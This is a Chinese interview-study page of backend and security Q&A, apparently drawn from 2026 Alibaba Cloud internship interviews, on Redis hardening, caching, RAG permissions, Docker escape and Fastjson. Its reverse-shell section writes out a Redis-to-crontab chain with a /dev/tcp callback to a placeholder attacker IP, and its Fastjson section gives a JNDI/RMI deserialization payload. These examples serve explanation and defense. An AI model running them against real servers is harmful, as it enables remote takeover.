八股文 / 阿里后台

阿里后台开发八股文

持续更新中。来源：2026 暑期实习真实面经。

Redis 安全

Q1：Redis 的安全问题有哪些？无密码情况下有什么风险？

来源：26暑期实习-阿里云后端AI开发一面

Redis 默认配置下无密码、绑定 0.0.0.0，如果直接暴露在公网，攻击者可以未授权访问并执行任意命令。这是近年来最常见的服务器入侵入口之一。

未授权访问的攻击链：

防御措施：

# 1. 设置密码
requirepass <强密码>

# 2. 绑定内网地址
bind 127.0.0.1 192.168.1.100

# 3. 禁用危险命令
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command KEYS ""

# 4. 使用 ACL（Redis 6.0+）
ACL SETUSER app-user on >password ~cache:* +get +set -@dangerous

# 5. 网络层隔离
# 防火墙只允许应用服务器访问 6379 端口

缓存

Q2：布隆过滤器起什么作用？

来源：26暑期实习-阿里云后端AI开发一面

布隆过滤器（Bloom Filter）主要用于解决缓存穿透问题。

缓存穿透：大量请求查询一定不存在的数据（如 id = -1），缓存未命中 → 每次都打到数据库 → 数据库压力暴增。

布隆过滤器的作用：在缓存层之前加一层”存在性判断”，快速过滤掉一定不存在的请求：

请求 → 布隆过滤器判断
  ├─ "一定不存在" → 直接返回空（不查缓存也不查DB）
  └─ "可能存在"   → 查缓存 → 缓存未命中 → 查DB

原理：用一个 bit 数组 + 多个哈希函数。写入 key 时，用 $k$ 个哈希函数各算一个位置，将对应 bit 设为 1。查询时检查这 $k$ 个位是否全为 1：

• 全为 1 → 可能存在（有误判概率，因为可能是其他 key 的哈希碰撞）
• 有 0 → 一定不存在（无漏判）

特点：空间效率极高（百万 key 只需 MB 级内存）、查询 $O(k)$ 常数时间、不支持删除（可用 Counting Bloom Filter）。

Q3：缓存击穿怎么解决？

来源：26暑期实习-阿里云后端AI开发一面

缓存击穿：某个热点 key 过期的瞬间，大量并发请求同时打到数据库。和缓存穿透的区别是——这个 key 确实存在，只是恰好过期了。

互斥锁方案的典型实现：

def get_with_lock(key):
    value = redis.get(key)
    if value is not None:
        return value
    
    lock_key = f"lock:{key}"
    if redis.set(lock_key, "1", nx=True, ex=5):  # 加锁
        try:
            value = db.query(key)
            redis.set(key, value, ex=300)
        finally:
            redis.delete(lock_key)  # 释放锁
        return value
    else:
        time.sleep(0.05)
        return get_with_lock(key)  # 重试

AI 安全

Q4：RAG 企业知识系统中，如何管理员工对知识库的访问权限？如何解决越权问题？

来源：26暑期实习-阿里云后端AI开发一面

这是 RAG 系统在企业落地时的核心安全问题：用户 A 不能通过自然语言提问获取到只有用户 B 才能看的文档内容。

三层权限控制架构：

用户提问 → ① 身份认证 → ② 权限过滤检索 → ③ 生成前二次校验 → 返回结果

第一层：文档入库时打权限标签

每个文档 chunk 在向量化入库时，metadata 中存储权限信息：

{
  "content": "2026 Q1 财报数据...",
  "embedding": [0.12, -0.34, ...],
  "metadata": {
    "department": "finance",
    "access_level": "confidential",
    "allowed_roles": ["finance_manager", "cfo", "ceo"]
  }
}

第二层：检索时带权限过滤

向量检索不是简单的 top-k 相似度排序，必须联合权限条件：

-- 伪代码：向量相似度 + 权限过滤
SELECT * FROM documents
WHERE embedding <-> query_embedding < threshold
  AND (access_level <= user.clearance_level
       OR user.role IN allowed_roles)
ORDER BY similarity DESC
LIMIT 10;

大多数向量数据库（Milvus、Weaviate、Qdrant）支持 metadata 过滤，可在 ANN 搜索时同时施加条件。

第三层：生成前二次校验

即使检索层做了过滤，仍需在 LLM 生成前做一次权限校验——防止权限标签配置错误或绕过：

• 对检索结果逐条验证用户是否有访问权限
• 移除无权限的 chunk 后再送入 LLM
• Prompt 中加入约束：”仅基于以下已授权文档回答，不要推测或补充文档外的信息”

常见越权攻击方式与防御：

Q5：Agent 工具调用中哪些环节可能存在安全问题？

来源：26暑期实习-阿里云后端AI开发一面

Agent 系统中 LLM 可以调用外部工具（API、数据库、代码执行器），每个环节都有安全风险：

核心原则：永远不要信任 LLM 的输出——把 LLM 看作”不可信的用户输入”，所有工具调用都需要验证和沙箱化。

系统安全

Q6：反弹 shell 是什么？

来源：26暑期实习-阿里云后端AI开发一面

正常情况下是客户端主动连接服务端的 shell（正向连接）。反弹 shell 是反过来：攻击者让目标机器主动连接攻击者的机器，将 shell（命令执行能力）”弹”出来。

为什么要”反弹”：目标机器通常在内网或有防火墙，外部无法直接连入；但目标机器可以主动发起外连（防火墙通常不拦截出站流量）。

典型攻击链（以 Redis 未授权访问为例）：

1. 攻击者在自己机器监听：nc -lvp 4444
2. 利用 Redis 未授权写入 crontab：
   CONFIG SET dir /var/spool/cron
   SET x "\n* * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n"
   SAVE
3. 目标机器 cron 执行 → bash 反连攻击者 → 攻击者获得交互式 shell

防御：设置 Redis 密码 + 禁用 CONFIG 命令 + 网络隔离 + 出站流量监控 + 限制 cron 权限。

Q7：Docker 逃逸是什么？

来源：26暑期实习-阿里云后端AI开发一面

Docker 逃逸指攻击者从容器内部突破隔离，获得宿主机的访问权限。容器本质上是通过 Linux namespace 和 cgroup 做的隔离，并非虚拟机级别的强隔离。

常见逃逸方式：

防御：

1. 永远不用 --privileged，按需添加最小 capabilities
2. 不挂载宿主机敏感目录和 docker.sock
3. 启用用户命名空间（User Namespace），容器内 root 映射为宿主机普通用户
4. 使用 Seccomp / AppArmor 限制系统调用
5. 及时更新宿主机内核
6. 考虑 gVisor / Kata Containers 等强隔离方案

Q8：Kubernetes（K8s）安全了解吗？

来源：26暑期实习-阿里云后端AI开发一面

K8s 的安全围绕4C 模型展开：Cloud → Cluster → Container → Code。

最常被攻击的点：暴露的 API Server（未认证）、过宽的 RBAC 权限（ServiceAccount 有 cluster-admin）、挂载了 ServiceAccount Token 的 Pod 被攻破后横向移动。

Q9：Web 安全问题：SQL 注入、XSS、CSRF

来源：26暑期实习-阿里云后端AI开发一面

XSS 的三种类型：

• 反射型：恶意脚本在 URL 参数中，服务端原样返回到页面
• 存储型：恶意脚本存入数据库（如评论），所有访问该页面的用户都会执行
• DOM 型：纯前端漏洞，JS 直接将用户输入插入 DOM（如 innerHTML）

Q10：Fastjson 会有什么安全问题？

来源：26暑期实习-阿里云后端AI开发一面

Fastjson 最严重的安全问题是反序列化漏洞（RCE），曾多次爆出高危 CVE，影响极为广泛。

漏洞原理：

Fastjson 有一个 autoType 特性，允许 JSON 中通过 @type 字段指定反序列化的目标类。攻击者构造恶意 JSON，指定一个危险类，触发远程代码执行：

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://攻击者IP/exploit",
  "autoCommit": true
}

攻击链：

1. Fastjson 解析 JSON，根据 @type 实例化 JdbcRowSetImpl
2. 设置 dataSourceName 时触发 JNDI 查找
3. JNDI 连接攻击者的 RMI/LDAP 服务，加载恶意类
4. 恶意类的构造函数/静态代码块执行任意命令（如 Runtime.exec("...")）

为什么 Fastjson 反复出问题：每次修补黑名单，攻击者就找到新的绕过类。autoType 的设计从根本上就是不安全的——允许用户控制反序列化的目标类等于允许执行任意代码。

防御措施：

面试加分：提到 Fastjson 的修补历史是”黑名单对抗”模式（1.2.25 加黑名单 → 被绕过 → 1.2.42 加密黑名单 → 又被绕过 → … → 最终 2.x 重新设计），说明黑名单防御思路本身就有缺陷，应该用白名单。

面经记录